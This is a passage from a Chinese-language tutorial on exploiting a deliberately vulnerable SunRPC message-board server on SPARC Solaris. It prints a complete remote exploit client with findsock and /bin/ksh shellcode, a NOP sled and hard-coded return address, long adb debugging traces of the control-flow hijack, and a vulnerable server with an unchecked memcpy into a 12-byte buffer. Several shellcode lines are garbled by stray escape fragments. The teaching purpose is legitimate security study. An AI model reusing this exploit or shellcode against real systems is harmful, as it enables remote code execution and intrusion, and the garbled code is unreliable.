    clnt = clnt_create(server, MSGBOARD_PROG, MSGBOARD_VERSION, "tcp");
    if (clnt == (CLIENT *)NULL) {
       clnt_pcreateerror(server);
       exit(1);
    }

    req.fromname.len_val_len = strlen(from);
    req.fromname.len_val_val = from;
    req.toname.len_val_len = strlen(to);
    req.toname.len_val_val = to;
    req.msg.len_val_len = strlen(message);
    req.msg.len_val_val = message;

/*    printf ("fromname is => %s, len is =>%d\n", req.fromname.val,\
        req.fromname.len);*/
    result = makemsg_1(&req, clnt);

    if (result == (svrmsg *)NULL) {
       clnt_perror(clnt, server);
       exit(1);
    }

    printf("%s\n", *result);

    xdr_free(xdr_svrmsg, result);
    
    exit(0);
}


<=================================================================>


我来演示一下RPC Server与RPC Client之间的调用过程。请先根据你们教授的讲义把这个例子中的RPC Server 和RPC Client文件分别编译好,然后我们在beijing上运行RPC Server程序msg_svc:

[moda@beijing]$ msg_svc
[moda@beijing]$
[moda@beijing]$ ps -ef | grep msg  //也可以用rpcinfo检查!!
moda    7169  6142  0 11:38:42 pts/4    0:00 grep msg
moda    7167     1  0 11:38:40 ?        0:00 msg_svc
[moda@beijing]$

在另一台机器hongkong上运行RPC Client程序rmsg,

hongkong:/home/moda rmsg beijing dog cat hi
dog said  to  cat==> hi            
hongkong:/home/minchumo

这个例子的RPC调用就是这么简单!!


adb监控下的远程EXPLOIT:


到现在为止,大家已经知道我们的RPC Server与RPC Client是如何互动的,知道了RPC Procedure在inbackup函数中有一个memcpy的Vulnerability,那么再根据前面介绍的缓冲区在堆栈内存分配的情况,我们就可以构筑我们进攻的武器了。下面的Exploit Client----rmsge.c是根据www.lsd-pl.net网站上类似的Exploit Client程序修改而成:

<=========================rmsge.c=================================>

#include "msg.h"
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <rpc/rpc.h>
#include <netdb.h>
#include <unistd.h>

/*
The following code findsckcode[]:
1. search through opened socket/file descriptor
2. use getPeername to get the its peer's port.
3. match the peer's port with Exploit client port
4. Duplicate the matched file descriptor as standard in/out/err
*/
  
char findsckcode[]=        /*from www.lsd-pl.net*/
    "\x20\xbf\xff\xff"     /* bn,a    <findsckcode-4>        */
    "\x20\xbf\xff\xff"     /* bn,a    <findsckcode>          */
    "\x7f\xff\xff\xff"     /* call    <findsckcode+4>        */
    "\x33\x02\x12\x34"        
    "\xa0\x10\x20\xff"     /* mov     0xff,%l0               */
    "\xa2\x10
'5cx20\x54"     /* mov     0x54,%l1               */
    "\xa4\x03\xff\xd0"     /* add     %o7,-48,%l2            */
    "\xaa\x03\xe0\x28"     /* add     %o7,40,%l5             */
    "\x81\xc5\x60\x08"     /* jmp     %l5+8                  */
    "\xc0\x2b\xe0\x04"     /* stb     %g0,[%o7+4]            */
    "\xe6\x03
'5cxff\xd0"     /* ld      [%o7-48],%l3           */
    "\xe8\x03\xe0\x04"     /* ld      [%o7+4],%l4            */
    "\xa8\xa4\xc0\x14"     /* subcc   %l3,%l4,%l4            */
    "\x02\xbf\xff\xfb"     /* bz      <findsckcode+32>       */
    "\xaa\x03\xe0\x5c"     /* add     %o7,92,%l5             */
    "\xe2\x23
'5cxff\xc4"     /* st      %l1,[%o7-60]           */
    "\xe2\x23\xff\xc8"     /* st      %l1,[%o7-56]           */
    "\xe4\x23\xff\xcc"     /* st      %l2,[%o7-52]           */
    "\x90\x04\x20\x01"     /* add     %l0,1,%o0              */
    "\xa7\x2c\x60\x08"     /* sll     %l1,8,%l3              */
    "\x92\x14
'5cxe0\x91"     /* or      %l3,0x91,%o1           */
    "\x94\x03\xff\xc4"     /* add     %o7,-60,%o2            */
    "\x82\x10\x20\x36"     /* mov     0x36,%g1               */
    "\x91\xd0\x20\x08"     /* ta      8                      */
    "\x1a\xbf\xff\xf1"     /* bcc     <findsckcode+36>       */
    "\xa0\xa4
'5cx20\x01"     /* deccc   %l0                    */
    "\x12\xbf\xff\xf5"     /* bne     <findsckcode+60>       */
    "\xa6\x10\x20\x03"     /* mov     0x03,%l3               */
    "\x90\x04\x20\x02"     /* add     %l0,2,%o0              */
    "\x92\x10\x20\x09"     /* mov     0x09,%o1               */
    "\x94\x04
'5cxff\xff"     /* add     %l3,-1,%o2             */
    "\x82\x10\x20\x3e"     /* mov     0x3e,%g1               */
    "\xa6\x84\xff\xff"     /* addcc   %l3,-1,%l3             */
    "\x12\xbf\xff\xfb"     /* bne     <findsckcode+112>      */
    "\x91\xd0\x20\x08"     /* ta      8                      */
;
/*    产生一个SHELL    */
char shellcode[]=           /*from www.lsd-pl.net*/
    "\x20\xbf\xff\xff"     /* bn,a    <shellcode-4>          */
    "\x20\xbf
'5cxff\xff"     /* bn,a    <shellcode>            */
    "\x7f\xff\xff\xff"     /* call    <shellcode+4>          */
    "\x90\x03\xe0\x20"     /* add     %o7,32,%o0             */
    "\x92\x02\x20\x10"     /* add     %o0,16,%o1             */
    "\xc0\x22\x20\x08"     /* st      %g0,[%o0+8]            */
    "\xd0\x22
'5cx20\x10"     /* st      %o0,[%o0+16]           */
    "\xc0\x22\x20\x14"     /* st      %g0,[%o0+20]           */
    "\x82\x10\x20\x0b"     /* mov     0x0b,%g1               */
    "\x91\xd0\x20\x08"     /* ta      8                      */
    "/bin/ksh"
;

/*    下面的机器指令是我们的NOP,为程序跳到黑客码结一张安全网    */
static char nop[]="\x80\x1c\x40\x11";

extern int errno;
static struct timeval TIMEOUT = { 25, 0 };

/*The xdr_req will replace normal rpc client */
/*request--(xdrproc_t) xdr_svrmsg*/
bool_t xdr_req(XDR *xdrs,username_msg *objp){
    if(!xdr_array(xdrs,&objp->fromname.len_val_val,&objp->fromname.len_val_len, \
~0,sizeof(char), (xdrproc_t)xdr_char)) return(FALSE);
if(!xdr_array(xdrs,&objp->toname.len_val_val,&objp->toname.len_val_len, \
~0,sizeof(char), (xdrproc_t)xdr_char)) return(FALSE);
    if(!xdr_array(xdrs,&objp->msg.len_val_val,&objp->msg.len_val_len,~0,sizeof(char), (xdrproc_t)xdr_char)) return(FALSE);        
    return(TRUE);
}



main(int argc, char *argv[])
{
  CLIENT *clnt;
  char  address[4];
  char *b0, *b1, *b2, *b3;
  char buffer[2048];
  username_msg umsg;
  svrmsg *result;
  int sck, n, i, port=0;
  enum clnt_stat stat;
  struct hostent *hp;
  struct sockaddr_in adr;


  if (argc != 2) {
     fprintf(stderr, "usage: %s host \n",argv[0]);
     exit(1);
   }

  adr.sin_family=AF_INET;
  adr.sin_port=htons(port);
  if((adr.sin_addr.s_addr=inet_addr(argv[1]))==-1){
      if((hp=gethostbyname(argv[1]))==NULL){
          errno=EADDRNOTAVAIL;perror("error");exit(-1);
      }
      memcpy(&adr.sin_addr.s_addr,hp->h_addr,4);
  }

/*    create a RPC session based on tcp, */
/*
    About RPC_ANYSOCK:
         Transport independent  RPC uses  TLI as its transport inter-
         face instead of sockets.
    Some of the routines described  in  this  section  (such  as
         clnttcp_create()) take a pointer to a file descriptor as one
         of the parameters. If the user wants the file descriptor  to
         be  a  socket,  then  the application will have to be linked
         with  both   librpcsoc  and  libnsl.  If  the  user   passed
         RPC_ANYSOCK  as  the file descriptor, and the application is
         linked with libnsl only, then the routine will return a  TLI
         file descriptor and not a socket.
*/

  sck=RPC_ANYSOCK;
/*
    Since    adr.sin_port=0, then it is set to the actual port that the    
    remote  program  is listening on (the remote rpcbind  service
      is consulted for this information). The  parameter *fdp  is  a file
    descriptor, which may be open and bound; if it is  RPC_ANYSOCK,  then  
    this  routine  opens  a  new one and sets *fdp.
*/

  clnt = clnttcp_create(&adr, MSGBOARD_PROG, MSGBOARD_VERSION, &sck,0,0);
  if (clnt == (CLIENT *)NULL) {
     clnt_pcreateerror("error");
     exit(1);
    }

  i=sizeof(struct sockaddr_in);
  if(getsockname(sck,(struct sockaddr*)&adr,&i)==-1){
        struct{unsigned int maxlen;unsigned int len;char *buf;}nb;
        ioctl(sck,(('S'<<8)|2),"sockmod");
        nb.maxlen=0xffff;
        nb.len=sizeof(struct sockaddr_in);;
        nb.buf=(char*)&adr;
        ioctl(sck,(('T'<<8)|144),&nb);
  }
  n=ntohs(adr.sin_port);
  printf("port=%d connected! \n",n);fflush(stdout);
  sleep(3);


  findsckcode[12+2]=(unsigned char)((n&0xff00)>>8);
  findsckcode[12+3]=(unsigned char)(n&0xff);
/*    这个地址是通过debug过程得到的        */
  *(unsigned int*)address=0x6dc80;
  *(unsigned int*)address=htonl(*(unsigned int*)address);

  b0=&buffer[0];
  b1=&buffer[0];
  for(i=0;i<252;i++) *b1++=address[i%4];
  for(i=0;i<4;i++)  *b1++=0;

  b2=&buffer[256];
  for(i=256;i<508;i++) *b2++=address[i%4];
  for(i=0;i<4;i++)  *b2++=0;

  b3=&buffer[512];
  for(i=0;i<256;i++) *b3++=nop[i%4];
  for(i=0;i<strlen(findsckcode);i++) *b3++=findsckcode[i];
  for(i=0;i<strlen(shellcode);i++) *b3++=shellcode[i];
  *b3=0;

/*refer to xdr_array function and msg.x to see how xdr conversion goes*/
/*Here can't use xdr_string caz that can convert \x00 embeded in request*/
  umsg.fromname.len_val_len=252;
  umsg.fromname.len_val_val=b0;
  umsg.toname.len_val_len=252;
  umsg.toname.len_val_val=b1;
  umsg.msg.len_val_len=456;
  umsg.msg.len_val_val=b2;


  stat = clnt_call(clnt, makemsg , (xdrproc_t) xdr_req,(caddr_t) &umsg, xdr_void , NULL, TIMEOUT);
  if (stat==RPC_SUCCESS) {printf("\nerror: not vulnerable\n");exit(-1);}
  printf("sent!\n");


  write(sck,"/bin/uname -a\n",14);
  while(1){
      fd_set fds;
      FD_ZERO(&fds);
      FD_SET(0,&fds);
      FD_SET(sck,&fds);
      if(select(FD_SETSIZE,&fds,NULL,NULL,NULL)){
          int cnt;
          char buf[1024];
          if(FD_ISSET(0,&fds)){
              if((cnt=read(0,buf,1024))<1){
                  if(errno==EWOULDBLOCK||errno==EAGAIN) continue;
                  else break;
              }
              write(sck,buf,cnt);
          }
          if(FD_ISSET(sck,&fds)){
              if((cnt=read(sck,buf,1024))<1){
                  if(errno==EWOULDBLOCK||errno==EAGAIN) continue;
                  else break;
              }
              write(1,buf,cnt);
          }
      }
  }
}

<=================================================================>


上面程序中用黑体字标出来的变量address=0x6dc80,它就是我们用来覆盖函数backup堆栈块第0x3c-0x40字节的,这个地址应该指向Heap中的动态缓冲区中(我们黑客码的根据地),精确地说,应该指向缓冲区内NOP作成的安全网中。怎么得到这个地址的呢?在真正的战争中,我们可以派遣间谍呀,间谍飞机呀什么的去搞这个地址;在这个例子中,我是用adb这位老Debugger去完成这个任务。

有一点需要注意的是,我们要得到的是动态缓冲区在实际运行时(Run Time)的地址,而不是在Debug模式下的地址。即使是同一程序的同一变量,其内存地址在debug模式与Run Time都是不同的。那么怎样得到Run Time地址呢?可以先让程序运行起来,再用adb去Attach这个Runtime的RPC Server。

下面我就要用adb来观察RPC Server实际运行情况,演示一下如何取得动态缓冲区的地址,以及RPC Server受到Exploit Client攻击时,溢出如何发生,进程运行的方向是如何改变的。

先运行RPC Server----msg_svc:
[moda@beijing]$ msg_svc        

在RPC Client机器hongkong上运行一下我们正常的Client,看RPC Server是否正常地工作:
hongkong:/home/moda rmsg beijing dog cat hi
dog said  to  cat==> hi            

看来RPC Server工作正常,丝毫没料到危险的来临。下面取得RPC Server的pid:

[moda@beijing] r ps
ps -ef | grep msg
moda  6928  6142  0 10:26:30 pts/4    0:00 grep msg
moda  6924     1  0 10:25:46 ?        0:00 msg_svc

现在我们用adb去Attach这个pid的进程:

[moda@beijing] adb
0t6924:A        //Attach RPC Server, pid=0t6924
process 6924 stopped at:
_poll+4:        ta      0x8
/*
在makemsg_1入口设断点,然后接着运行
*/
makemsg_1:b        
:c            //Server Continue waiting for rpc request
/*
RPC Server呆呆地等待着下一个RPC Request。

好,冲锋号吹响了,把我们精心训练多年的空降兵用rmsge从hongkong空投到老早就看上的根据地。
*/
hongkong:/home/moda rmsge beijing
port=59985 connected! !
sent!

/*
在beijing这一边,RPC Server显然接到了RPC Request,它接着运行直到我们设置的断点。让我们摸索着单步(Single Step)前进:
*/
breakpoint at:
makemsg_1:      save    %sp, -0x78, %sp
:s
stopped at:
makemsg_1+4:    st      %i1, [%fp + 0x48]
:s
stopped at:
makemsg_1+8:    st      %i0, [%fp + 0x44]
:S
stopped at:
makemsg_1+0xc:  sethi   %hi(0x21c00), %l0
:s
stopped at:
makemsg_1+0x10: ld      [%l0 + 0x3fc], %l0
:s
stopped at:
makemsg_1+0x14: cmp     %l0, %g0
:s
stopped at:
makemsg_1+0x18: be      makemsg_1+0x2c
:s
stopped at:
makemsg_1+0x1c: nop
:s
stopped at:
makemsg_1+0x20: sethi   %hi(0x21c00), %l0
:s
stopped at:
makemsg_1+0x24: call    0x21c6c
/*
我查了一下namelist,上面的0x21c6c是函数free的GOT entry,调用free是为了释放上一次RPC过程的动态缓冲区。我想顺便给大家看看上一次的动态缓冲区里面装什么内容,所以下面用Single Step命令一步一步执行。
*/
:s
stopped at:
makemsg_1+0x28: ld      [%l0 + 0x3fc], %o0
:s
stopped at:
21c6c:          sethi   %hi(0x15000), %g1
:s
stopped at:
21c70:          sethi   %hi(0xff1c6400), %g1
/*
程序尚未真正地进入函数free,目前寄存器窗口的内容如下:
*/
$r
g0    0                                 l0      21c00
g1    15000         xdr_username_msg+0x3578     l1    0
g2    0                                 l2      0
g3    0                                 l3      0
g4    0                                 l4      0
g5    0                                 l5      0
g6    0                                 l6      0
g7    0                                 l7      0
o0    6da58                             i0      ffbeee48
o1    0                                 i1      24808       _rpcpmstart+0x2808
o2    0                                 i2      ffbeee48
o3    0                                 i3      66f00
o4    0                                 i4      ff311c8c
o5    0                                 i5      ffbeee61
sp    ffbeed60                          fp      ffbeedd8
o7    11044         makemsg_1+0x24      i7      114ac       msgboard_prog_1+0x154
y     0
tstate: 82001a07  (ccr=0x0, asi=0x82, pstate=0x1a, cwp=0x7)
pstate: ag:0 ie:1 priv:0 am:1 pef:1 mm:0 tle:0 cle:0 mg:0 ig:0
pc    21c70 21c70:              sethi   %hi(0xff1c6400), %g1
npc   21c74 21c74:              jmp     %g1 + 0x14c
/*
寄存器o0中的0x6da58应该是被free的动态缓冲区起始地址(如果真正进入函数free,执行指令save后,0x6da58应该在i0寄存器中),我把这个地址的内容用字符串格式输出:
*/
6da58/S
6da58:          dog  said  to  cat==> hi
/*
由此我们知道,上一次的RPC调用是"rmsg beijing dog cat hi"

看一下源程序msg_proc.c,函数memset的第一个输入参数即为系统分配的动态缓冲区起始地址。我们可以在memset设立断点,让程序在那里停止运行,好让我们仔细SPY一下动态缓冲区的地址。
*/
memset:b
:c
breakpoint at:
memset:         mov     %o0, %o5
/*
程序运行进入memset函数并暂停在其入口处,看看寄存器窗口的内容:
*/
$r
g0    0                                 l0      21f10       dynMemSize
g1    1e000                             l1      ffbeee48
g2    0                                 l2      0
g3    0                                 l3      0
g4    0                                 l4      0
g5    0                                 l5      0
g6    0                                 l6      0
g7    0                                 l7      0
o0    6da58                             i0      ffbeee48
o1    0                                 i1      24808   _rpcpmstart+0x2808
o2    600                               i2      ffbeee48
o3    0                                 i3      66f00
o4    ff235ad4                          i4      ff311c8c
o5    11044         makemsg_1+0x24      i5      ffbeee61
sp    ffbeed60                          fp      ffbeedd8
o7    11080         makemsg_1+0x60      i7      114ac       msgboard_prog_1+0x154
y     0
tstate: 82001a04  (ccr=0x0, asi=0x82, pstate=0x1a, cwp=0x4)
pstate: ag:0 ie:1 priv:0 am:1 pef:1 mm:0 tle:0 cle:0 mg:0 ig:0
pc    ff33190c memset:          mov     %o0, %o5
npc   ff331910 _memset+4:       cmp     %o2, 0x10
/*
这时候函数memset尚未执行save指令,寄存器窗口还没移动,所以它的三个输入参数仍然在o寄存器中。分别是o0(动态缓冲区起始地址=0x6da58),o1(冲填动态缓冲区的'\X00') 和寄存器o2(充填范围的大小=x600=1536)。

我就是用这个方法搞到动态缓冲区起始地址的 (当然还有其他方法也可以搞到这个地址,如用truss命令), 然后根据这个起始值计算位于动态缓冲区中的安全网的地址,大约取0x6dc80这个值。在函数inbackup中的缓冲区temDir溢出后,函数backup的返回地址将等于这个地址加8Bytes,

接下去,我要在函数memcpy设置断点,看看Exploit Client传过来的长字符串是否被拷贝进动态缓冲区:
*/
memcpy:b
:c
SIGALRM: Alarm Clock        //这个系统信号是函数Sleep产生的,被adb接到。
stopped at:        
_sigsuspend+4:  ta      0x8
:c                    
breakpoint at:
memcpy:         mov     %o0, %o5
:c
breakpoint at:
memcpy:         mov     %o0, %o5
:c
breakpoint at:
memcpy:         mov     %o0, %o5
:c
breakpoint at:
memcpy:         mov     %o0, %o5
/*
一共有5个memcpy把Client传来的3个字符串完整地拷贝到系统分配的动态缓冲区(请对照一下源程序),动态缓冲区的起始地址就是0x6da58。

我把从0X6da58开始的动态缓冲区的内容输出来,让大家眼见为实!
*/
6da58/40X
6da58:          6dc80           6dc80           6dc80           6dc80
                6dc80           6dc80           6dc80           6dc80
                6dc80           6dc80           6dc80           6dc80
                6dc80           6dc80           6dc80           6dc80
                6dc80           6dc80           6dc80           6dc80
                6dc80           6dc80           6dc80           6dc80
                6dc80           6dc80           6dc80           6dc80
                6dc80           6dc80           6dc80           6dc80
                6dc80           6dc80           6dc80           6dc80
                6dc80           6dc80           6dc80           6dc80

6daf8:          6dc80           6dc80           6dc80           6dc80
                6dc80           6dc80           6dc80           6dc80
                6dc80           6dc80           6dc80           6dc80
                6dc80           6dc80           6dc80           6dc80
                6dc80           6dc80           6dc80           6dc80
                6dc80           6dc80           6dc80           20207361
                69642020        746f2020        6dc80           6dc80
                6dc80           6dc80           6dc80           6dc80
                6dc80           6dc80           6dc80           6dc80
                6dc80           6dc80           6dc80           6dc80

6db98:          6dc80           6dc80           6dc80           6dc80
                6dc80           6dc80           6dc80           6dc80
                6dc80           6dc80           6dc80           6dc80
                6dc80           6dc80           6dc80           6dc80
                6dc80           6dc80           6dc80           6dc80
                6dc80           6dc80           6dc80           6dc80
                6dc80           6dc80           6dc80           6dc80
                6dc80           6dc80           6dc80           6dc80
                6dc80           6dc80           6dc80           6dc80
                6dc80           6dc80           6dc80           6dc80

6dc38:          6dc80           6dc80           6dc80           6dc80
                6dc80           6dc80           6dc80           6dc80
                6dc80           3d3d3e20        801c4011        801c4011
                801c4011        801c4011        801c4011        801c4011
                801c4011        801c4011        801c4011        801c4011
                801c4011        801c4011        801c4011        801c4011
                801c4011        801c4011        801c4011        801c4011
                801c4011        801c4011        801c4011        801c4011
                801c4011        801c4011        801c4011        801c4011
                801c4011        801c4011        801c4011        801c4011

6dcd8:          801c4011        801c4011        801c4011        801c4011
                801c4011        801c4011        801c4011        801c4011
                801c4011        801c4011        801c4011        801c4011
                801c4011        801c4011        801c4011        801c4011
                801c4011        801c4011        801c4011        801c4011
                801c4011        801c4011        801c4011        801c4011
                801c4011        801c4011        801c4011        801c4011
                801c4011        801c4011        801c4011        801c4011
                801c4011        801c4011        20bfffff        20bfffff
                7fffffff        3302ea51        a01020ff        a2102054

6dd78:          a403ffd0        aa03e028        81c56008        c02be004
                e603ffd0        e803e004        a8a4c014        2bffffb
                aa03e05c        e223ffc4        e223ffc8        e423ffcc
                90042001        a72c6008        9214e091        9403ffc4
                82102036        91d02008        1abffff1        a0a42001
                12bffff5        a6102003        90042002        92102009
                9404ffff        8210203e        a684ffff        12bffffb
                91d02008        20bfffff        20bfffff        7fffffff
                9003e020        92022010        c0222008        d0222010
                c0222014        8210200b        91d02008        2f62696e

6de18:          2f6b7368        0               0               0
                0               0               0               0
                0               0               0               0
                0               0               0               0
                0               0               0               0
                0               0               0               0
                0               0               0               0
                0               0               0               0
                0               0               0               0
                0               0               0               0
/*
大家可以看到,我们的空降兵部队这时已经占领了动态缓冲区,建立了根据地。而变量address=0x6dc80确实指向NOP们组成的安全网。

下面我一步一步地执行,请大家密切注意溢出后程序执行情况,看看程序运行的方向是如何被改变的!
*/
backup:b
:c
breakpoint at:
memcpy:         mov     %o0, %o5
:c
breakpoint at:
backup:         save    %sp, -0x60, %sp    //寄存器窗口移动
:s        //进入函数backup
stopped at:
backup+4:       st      %i1, [%fp + 0x48]
$r
g0    0                                 l0      0
g1    676a8                             l1      0
g2    0                                 l2      0
g3    0                                 l3      0
g4    0                                 l4      0
g5    0                                 l5      0
g6    0                                 l6      0
g7    0                                 l7      0
o0    0                                 i0      67470
o1    0                                 i1      fc
o2    0                                 i2      0
o3    0                                 i3      0
o4    0                                 i4      0
o5    0                                 i5      6dc60
sp    ffbeed00                          fp      ffbeed60
o7    0                                 i7      11138       makemsg_1+0x118
y     0
tstate: 4482001a06  (ccr=0x44, asi=0x82, pstate=0x1a, cwp=0x6)
pstate: ag:0 ie:1 priv:0 am:1 pef:1 mm:0 tle:0 cle:0 mg:0 ig:0
pc    11184 backup+4:           st      %i1, [%fp + 0x48]
npc   11188 backup+8:           st      %i0, [%fp + 0x44]

backup+4/i
backup+4:       st      %i1, [%fp + 0x48]
:S
stopped at:
backup+8:       st      %i0, [%fp + 0x44]
:s
stopped at:
backup+0xc:     or      %i0, %g0, %o0
:s
stopped at:
backup+0x10:    call    inbackup
:s
stopped at:
backup+0x14:    or      %i1, %g0, %o1    //In Pipeline
:s
stopped at:
inbackup:       save    %sp, -0x70, %sp
:s            //进入函数inbackup
stopped at:
inbackup+4:     st      %i1, [%fp + 0x48]
:S
stopped at:
inbackup+8:     st      %i0, [%fp + 0x44]
:s
stopped at:
inbackup+0xc:   add     %fp, -0xc, %o0
:s
stopped at:
inbackup+0x10:  or      %i0, %g0, %o1
:s
stopped at:
inbackup+0x14:  call    0x21c9c   //调用memcpy,造成tmpDir溢出。
:s
stopped at:
inbackup+0x18:  or      %i1, %g0, %o2
:s
stopped at:
21c9c:          sethi   %hi(0x21000), %g1
inbackup+0x1c:b
:c
breakpoint at:
memcpy:         mov     %o0, %o5
:s
stopped at:
forcpy+4:       cmp     %o2, 0x20
:s
stopped at:
forcpy+8:       ???
:c
breakpoint at:
inbackup+0x1c:  ret
:s
stopped at:
inbackup+0x20:  restore
:s
stopped at:
backup+0x18:    ret
:s
/*
函数backup的寄存器窗口恢复,inbackup返回到backup中
*/
stopped at:
backup+0x1c:    restore        
:s
stopped at:
6dc88:          xor     %l1, %l1, %g0
/*
backup还企图落叶归根,回到makemsg_1。但大势去矣......
    
政变发生了, 控制权转移到黑客码。返回地址=address+8Bytes=6dc88    
*/
$r
g0    0                                 l0      801c4011
g1    67568                             l1      801c4011
g2    0                                 l2      801c4011
g3    0                                 l3      801c4011
g4    0                                 l4      801c4011
g5    0                                 l5      801c4011
g6    0                                 l6      801c4011
g7    0                                 l7      801c4011
o0    6dc80                             i0      801c4011
o1    6dc80                             i1      801c4011
o2    6dc80                             i2      801c4011
o3    6dc80                             i3      801c4011
o4    6dc80                             i4      801c4011
o5    6dc80                             i5      801c4011
sp    6dc80                             fp      801c4011
o7    6dc80                             i7      801c4011
y     0
tstate: 4482001a01  (ccr=0x44, asi=0x82, pstate=0x1a, cwp=0x1)
pstate: ag:0 ie:1 priv:0 am:1 pef:1 mm:0 tle:0 cle:0 mg:0 ig:0
pc    6dc88 6dc88:              xor     %l1, %l1, %g0
npc   6dc8c 6dc8c:              xor     %l1, %l1, %g0
.,40/i
6dc8c:          xor     %l1, %l1, %g0
                xor     %l1, %l1, %g0
                xor     %l1, %l1, %g0
            。。。。
            。。。。
                xor     %l1, %l1, %g0
                xor     %l1, %l1, %g0
                xor     %l1, %l1, %g0
                bn,a    0x6dd5c            //进入findsckcode & shellcode
                bn,a    0x6dd60
                call    0x6dd64
                sethi   %hi(0xba94400), %i1
                mov     0xff, %l0
                mov     0x54, %l1
                add     %o7, -0x30, %l2
                add     %o7, 0x28, %l5
                jmp     %l5 + 0x8
                stb     %g0, [%o7 + 0x4]
                ld      [%o7 - 0x30], %l3
.,20/i
6dd88:          ld      [%o7 - 0x30], %l3
                ld      [%o7 + 0x4], %l4
                subcc   %l3, %l4, %l4
                be      0x6dd80
                add     %o7, 0x5c, %l5
                st      %l1, [%o7 - 0x3c]
                st      %l1, [%o7 - 0x38]
                st      %l2, [%o7 - 0x34]
                add     %l0, 0x1, %o0
                sll     %l1, 0x8, %l3
                or      %l3, 0x91, %o1
                add     %o7, -0x3c, %o2
                mov     0x36, %g1
                ta      0x8
                bgeu    0x6dd84
                subcc   %l0, 0x1, %l0
                bne     0x6dd9c
                mov     0x3, %l3
                add     %l0, 0x2, %o0
                mov     0x9, %o1
                add     %l3, -0x1, %o2
                mov     0x3e, %g1
                addcc   %l3, -0x1, %l3
                bne     0x6ddd0
                ta      0x8
                bn,a    0x6dde8
                bn,a    0x6ddec
                call    0x6ddf0
                add     %o7, 0x20, %o0
                add     %o0, 0x10, %o1
                st      %g0, [%o0 + 0x8]
                st      %o0, [%o0 + 0x10]

(以下程序运行略......)


总结一下,由于忠诚的老战士adb卓有成效的工作,我们得到了动态缓冲区的精确地址,并用它覆盖了函数backup的调用地址。结果程序在backup返回时脱离正常轨道运行而进入位于HEAP区的动态缓冲区,开始执行黑客码。



实际运行情况下的 远程 EXPLOIT:


想当初我在作这个例子的时候,费了九牛二虎之力,终于在adb监控下成功地实现了Exploit,就象上面那样。我以为基本上OK了,只剩下把RPC Server 和 RPC Client 在非监控情况下运行一下,应该就可以产生远程shell。於是我兴冲冲地在beijing上重新启动(Restart) RPC Server,然后在hongkong上敲入命令"rmsge beijing",再Close My Eye, Make a Wish and then 按ENTER!

再睁开眼时,已经是10秒钟以后了----我几乎要哭出来了,Nothing Happen。在计算机hongkong上,我看不到远程shell;在beijing上,RPC Server msg_svc照常运行,也看不到coredump文件。难道我的空降兵部队就这样全军覆灭了!?

又试了几次,还是这样。Something Is Wrong!!

...............
...............

经过一系列的调查研究,与网上高人的切磋,我终于知道Exploit失败的原因:
记得Sparc处理器有许多的寄存器窗口,每当函数调用时,子函数有了新的寄存器窗口,但母函数的的寄存器窗口中仍然保留,并没有被拷贝到堆栈中去。当子函数结束调用返回时,原母函数的状态信息(包括它的调用地址)是从母函数对应的寄存器窗口恢复,而不是从堆栈块中恢复。前面的RPC Server处于adb监控下运行,adb为了它自身debug的需要,每一步都把寄存器窗口的内容(以堆栈块的形式)拷贝到堆栈区供它(以及你我)分析,所以与Runtime的RPC Server表现不一样。

可以想象,在非监控情况下,从rmsge来的长字符串确实被拷贝进了RPC Server的堆栈区域,修改了函数backup堆栈块的内容,但是在backup返回时,系统根本不管被修改后的堆栈块内容,它只根据backup寄存器窗口来计算返回地址。所以我上面设计的堆栈区溢出实际上根本没法左右程序的正常运行,就凭这一点,我打心眼里佩服Sparc处理器的设计者:高,实在是高!牛,真是小母牛烤火........呀!

那么,如果我们给黑客们改善一下条件,开个后门什么的,能不能让这个远程Exploit起死回生呢?答案是肯定的:只要我们强迫系统把寄存器窗口的内容拷贝到堆栈区去,运行Exploit Client让溢出发生,堆栈块被覆盖;然后等到系统再从堆栈恢复寄存器窗口信息时,被修改后的堆栈块就会被拷贝到寄存器窗口中,我们的阴谋就得逞了!

方法 1:
当有足够的函数调用时,寄存器窗口会发生FIFO(FIRST IN FIRST OUT)溢出,这时系统会把时间最老的寄存器窗口的内容拷贝到堆栈区。要实现这个方法,我们不仅仅要有inbackup,还要有ininbackup,inininbackup....函数,这个后门走得太辛苦。

方法 2:
象Unix这样的多任务(Multi-task)系统,它同时处理多个进程(Process)。在进行进程切换(Context Switch)时,系统会把当前进程的所有Context信息(包括进程的寄存器窗口们)SWAP出去到堆栈中、到硬盘SWAP区中。所以我们只要能让系统发生Context Switch,就可以紧跟着运行Exploit Client让溢出发生而覆盖堆栈块内容。

怎样让系统发生Context Switch呢?可以让RPC Server机器Overloaded----就是给它增加工作量,比如说集中火力去ping它,ftp它,http它什么的;或者用下面更好的方法,请看修改过的RPC Procedure 文件:



<====================== msg_proc.c Version 2.0======================>

#include "msg.h"
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <rpc/rpc.h>
#include <unistd.h>

int dynMemSize=6144;
extern int errno;
void backup(char*, int);
void inbackup(char*, int);

svrmsg * makemsg_1(username_msg* un_msg, struct svc_req *req)
{

    static svrmsg smsg;
    char *backmsg;
      int fromInt, toInt, msgInt;
        

    if(smsg!=NULL) free(smsg);    

    fromInt=un_msg->fromname.len_val_len;
    toInt=un_msg->toname.len_val_len;
    msgInt=un_msg->msg.len_val_len;

    backmsg=malloc(dynMemSize);
    memset(backmsg,'\x00', dynMemSize);


    sleep(3);    
    memcpy(backmsg, un_msg->fromname.len_val_val, fromInt);
    memcpy((char*)backmsg+fromInt, "  said  to  ", 12);
      memcpy((char*)backmsg+fromInt+12, un_msg->toname.len_val_val, toInt);
    memcpy((char*)backmsg+fromInt+toInt+12, "==> ", 4);
      memcpy((char*)backmsg+fromInt+toInt+16, un_msg->msg.len_val_val,\
        msgInt);


    backup(un_msg->fromname.len_val_val, fromInt);

    smsg=&backmsg[0];    
    return (&smsg);


}


void backup(char* bkFromName, int nmlen)
{
    inbackup(bkFromName, nmlen);
}

void inbackup(char *bkFromName, int nmlen)
{
   char tempDir[12];
  
   sleep(2);
   memcpy(tempDir,bkFromName, nmlen);

}

<===================================================================>


与原来的程序相比,我在inbackup函数中加了一个 sleep(2), 当系统遇到这个函数调用时,它会切换到另一进程----因为系统不会呆呆地等当前进程睡醒过来,它会扔掉这个懒家伙去处理其它进程,这样造成了一个Context Switch。於是,RPC Server的寄存器窗口们被SWAP到堆栈中,等着黑客的攻击。

请再根据你们教授的讲义把新的RPC Server重新编译,运行起来。然后就可以按下面步骤实现Exploit。

hongkong:/home/moda rmsg beijing dog cat hello
